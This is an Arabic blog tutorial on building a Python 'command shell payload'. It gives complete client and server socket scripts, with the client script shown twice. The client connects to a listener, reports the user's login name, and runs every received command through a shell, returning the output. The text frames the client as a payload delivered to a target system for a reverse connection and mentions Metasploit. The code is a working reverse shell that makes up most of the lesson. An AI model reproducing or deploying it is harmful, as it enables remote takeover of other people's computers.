القائمة الرئيسية

الصفحات

أخبار الاخبار

درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution. اساسيات بايثون بيلود


درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution. اساسيات بايثون بيلود

اساسيات بايثون كومند شيل بايلود وه درسنا اليوم يقوم كيف نمبرمج بيلود عبر المكتبة الخاصة به والاتصال بكائن لو ليلفل  ودرسنا اليوم هو عن كيفية الاتصال بايثون بيلود وهو من اساسيات بايثون ويعتبر امر ومكتبة مهما جدا تستطيع الاعتماد عليها في انشاء الاسكربت الذي تريدة والاستفادة من الاامر الموجودة فية وبطبيعا الحال كما نعرف ان اي لغة يجب عليك عمل اتصال بمكتبات خارجية لكتابة الاسكربت بشكل سليم  وتستطيع اختيار الاوامر المناسبة له وهو السطر الاخير ولكن قبل تلك الاكواد يجب عمل تعريف المكتبات في اول الكود حتي تسطيع انشاء المكتبة او الملف الخارجي
import socket
from  subprocess import PIPE , Popen
import os
#my client
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",5555))
    s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
    while True:
        command = s.recv(3500).decode("utf-8")
        p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
        if p.communicate()[0] == ''.encode('utf-8'):
            s.send(p.communicate()[1])
        else:
            print(s.send(p.communicate()[0]))
except socket.error as e:
    print(e)


                                                                                                                                                  
الرئيسية PYTHON التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|
التعرف على كيفية انشاء بايلود في البايثون simple command Payload الدرس |20|

مقدمة
درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.
تأملوا الصورة التالية

شرح مافي الصورة
نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين و هي عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال.
لرؤية شرح هذه الصورة على يوتيوب بشكل اوضح اضغط على الزر مشاهدة
👇👇👇
لنأخذ سكربت لأنشاء بايلود في بايثون

ملف client
import socket
from  subprocess import PIPE , Popen
import os
#my client
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("127.0.0.1",5555))
    s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
    while True:
        command = s.recv(3500).decode("utf-8")
        p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
        if p.communicate()[0] == ''.encode('utf-8'):
            s.send(p.communicate()[1])
        else:
            print(s.send(p.communicate()[0]))
except socket.error as e:
    print(e)

ملف server
import socket
#my server
try:
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.bind(("127.0.0.1",5555))
    s.listen(5)
    client , addr = s.accept()
    print("connection from {0}:{1}".format(addr[0],addr[1]))
    while True:
        data = client.recv(500000)
        print(data.decode("utf-8"))
        command = str(input(" < command > "))
        client.send(command.encode("utf-8"))
except socket.error as e:
    print(e)

شرح السكربت
الــ client
استدعينا المكاتب عبر الأمر from  subprocess import PIPE , Popen و بعض النقاط شرحناها بالدرس السابق, و اعطيناه while القيمة True و امر الأستقبال 3500 و عملنا له utf-8 و استخدمنا مكتبة subprocess اختصرناه بـ p = Popen
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
و ارسلنا نتيجه الأمر عبر  if p.communicate واستخدمنا الـ format .
الــ server
اضفنا تعديلات لسكربت السرفر بالدرس السابق while True يعني البدء في الأستقبال و الأرسال ووضعنا أمر الطباعه print فوقه
و اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000) و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة,  واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.

لتشغيله:
هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, اول شي نفعله تشغيل الميتاسبلويت عبر الأمر msfconsole .........الخ.
ليحصل اتصال عكسي عند تشغيله,  نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.
لتحميل سكربتات الدرس بشكل مباشر من الرابط التالي |تحميل الاسكربتات 

هل اعجبك الموضوع :

تعليقات

src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js">

التنقل السريع